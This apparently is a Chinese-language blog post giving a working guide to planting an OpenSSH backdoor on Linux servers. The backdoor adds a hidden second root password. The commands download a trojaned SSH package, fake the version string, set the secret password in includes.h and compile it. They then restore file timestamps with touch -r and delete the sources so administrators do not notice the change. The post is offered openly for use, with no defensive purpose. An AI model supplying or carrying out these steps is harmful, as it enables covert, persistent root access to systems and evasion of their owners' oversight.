linux后门密码如何修改,推荐Linux SSH后门,root账号两个密码SSH backdoor 最新linux roo...

记得把ssh版本号换成原来的.还有一些文件的日期记得还原。这后门还是可以的.可以让root账号有两个密码,不影响管理员正常登陆.

在includes.h 里面 修改密码,然后编译 安装.详细说明如下.下载地址在最下面.

How to install

----------------

shell-#wget http://www.linuxso.com/linuxexp/ssh.tar.gz

shell-# tar zxvf sshbd.tgz

shell-# cd openssh

Edit version.h likes the current version of ssh running on the box

#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

Edit includes.h, specify your backdoor password

#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish

shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh

shell-# make && make install

shell-# cp ssh_config sshd_config /etc/ssh/

shell-# /etc/init.d/sshd restart

FINISH, try logged in to the box "ssh -l root "

enter your backdoor password.

Boom, now you're root

wget http://www.linuxso.com/linuxexp/ssh.tar.gz

tar zxvf sshbd.tgz

cd openssh

vi version.h

#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

vi includes.h

#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish

cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub

cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub

touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub

touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub

cp /usr/bin/ssh /usr/bin/ssh-keypub

touch -r /usr/bin/ssh /usr/bin/ssh-keypub

./configure --prefix=/usr --sysconfdir=/etc/ssh

make && make install

cp ssh_config sshd_config /etc/ssh/

cd ..

rm -rf ./ssh*

rm -rf openssh

diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub

vi sshd_config

diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub

vi ssh_config

touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config

touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config

touch -r /usr/bin/ssh-keypub /usr/bin/ssh*

/etc/init.d/sshd restart

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值